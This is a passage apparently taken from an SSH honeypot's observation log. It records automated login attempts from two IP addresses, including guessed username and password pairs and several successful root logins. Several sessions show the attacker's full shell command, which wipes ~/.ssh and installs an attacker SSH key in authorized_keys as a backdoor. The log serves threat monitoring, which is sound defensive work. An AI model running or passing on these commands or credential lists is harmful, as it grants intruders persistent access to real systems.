Adversarial Observation Interface

77.239.124.154

2026-10-18 14:02:36.838302 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs366

Record ID: f352a9480610

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f352a9480610",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:36.838302Z",
  "end_time": "2026-10-18T14:02:38.779064Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "cs366",
      "pass": "wacos"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:32.409806 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hrl

Record ID: 09f29863a5b7

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "09f29863a5b7",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:32.409806Z",
  "end_time": "2026-10-18T14:02:34.478289Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hrl",
      "pass": "Pa2621310w0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:28.102737 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: emqttd

Record ID: 2d6ef4ad0978

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2d6ef4ad0978",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:28.102737Z",
  "end_time": "2026-10-18T14:02:30.236295Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "emqttd",
      "pass": "operator9"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:23.913248 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ahmad

Record ID: e6b037ec68cb

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e6b037ec68cb",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:23.913248Z",
  "end_time": "2026-10-18T14:02:25.901582Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ahmad",
      "pass": "jenkins@1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:19.588147 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: us29

Record ID: 9b08a8ae69ee

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9b08a8ae69ee",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:19.588147Z",
  "end_time": "2026-10-18T14:02:21.448470Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "us29",
      "pass": "abc123!@"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:15.698243 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitcoin

Record ID: c42ec4ca047d

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c42ec4ca047d",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:15.698243Z",
  "end_time": "2026-10-18T14:02:17.694077Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "bitcoin",
      "pass": "mongo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:11.756620 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: soporte

Record ID: 74cd0231c204

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "74cd0231c204",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:11.756620Z",
  "end_time": "2026-10-18T14:02:13.752261Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "soporte",
      "pass": "Qwerty12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:07.544682 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: roott

Record ID: 8af05774d4d8

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8af05774d4d8",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:07.544682Z",
  "end_time": "2026-10-18T14:02:09.460237Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "roott",
      "pass": "sinusbot"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:02:03.405175 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: saber

Record ID: 54f719a55e5d

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "54f719a55e5d",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:02:03.405175Z",
  "end_time": "2026-10-18T14:02:05.387489Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "saber",
      "pass": "sahil"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:01:59.363832 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ssh

Record ID: 0a8045b92c19

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0a8045b92c19",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:01:59.363832Z",
  "end_time": "2026-10-18T14:02:01.202683Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ssh",
      "pass": "adm1n"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:01:55.190445 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: saeed241

Record ID: c146a0fb4854

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c146a0fb4854",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:01:55.190445Z",
  "end_time": "2026-10-18T14:01:57.212606Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "saeed241",
      "pass": "trader"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:01:51.076383 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: baba

Record ID: a5326c3264da

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a5326c3264da",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:01:51.076383Z",
  "end_time": "2026-10-18T14:01:53.142087Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "baba",
      "pass": "administrator"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

77.239.124.154

2026-10-18 14:01:47.006438 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: games

Record ID: e48be87346ec

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e48be87346ec",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:01:47.006438Z",
  "end_time": "2026-10-18T14:01:48.876045Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "games",
      "pass": "00008888"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 14:01:39.235572 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 33273f1491fd

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "33273f1491fd",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T14:01:39.235572Z",
  "end_time": "2026-10-18T14:01:40.917466Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-10-18 14:01:36.288206 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 657a0d0a6e71

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "657a0d0a6e71",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T14:01:36.288206Z",
  "end_time": "2026-10-18T14:01:38.965942Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 14:01:32.855844 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Qweasd2024

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: f04b0ea83822

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.1s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "f04b0ea83822",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T14:01:32.855844Z",
  "end_time": "2026-10-18T14:01:40.913419Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Qweasd2024"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

77.239.124.154

2026-10-18 14:00:50.862221 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 481fcc3ff03e

Client Version: SSH-2.0-Go

Engagement Duration: 8.0s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "481fcc3ff03e",
  "src_ip": "77.239.124.154",
  "start_time": "2026-10-18T14:00:50.862221Z",
  "end_time": "2026-10-18T14:00:58.861912Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

102.88.137.80

2026-10-18 14:00:15.127750 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: testme

Record ID: e036d51ac95e

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "e036d51ac95e",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T14:00:15.127750Z",
  "end_time": "2026-10-18T14:00:17.818647Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "testme",
      "pass": "testme"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:59:01.567090 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 1b4fddf9d630

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "1b4fddf9d630",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:59:01.567090Z",
  "end_time": "2026-10-18T13:59:03.247492Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:58:58.558101 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 711f9f616a78

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "711f9f616a78",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:58:58.558101Z",
  "end_time": "2026-10-18T13:59:01.302365Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:58:55.066703 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / !QAZ2wsx#edc

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 140183892676

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.2s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "140183892676",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:58:55.066703Z",
  "end_time": "2026-10-18T13:59:03.250756Z",
  "duration": "8.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "!QAZ2wsx#edc"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-10-18 13:57:38.325406 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 21c6653c1e07

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "21c6653c1e07",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:57:38.325406Z",
  "end_time": "2026-10-18T13:57:40.056228Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:57:35.346573 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3a9d9836e981

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "3a9d9836e981",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:57:35.346573Z",
  "end_time": "2026-10-18T13:57:38.050273Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-10-18 13:57:31.754942 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / marco123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 26ce5048d298

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.3s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "26ce5048d298",
  "src_ip": "102.88.137.80",
  "start_time": "2026-10-18T13:57:31.754942Z",
  "end_time": "2026-10-18T13:57:40.059324Z",
  "duration": "8.3",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "marco123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
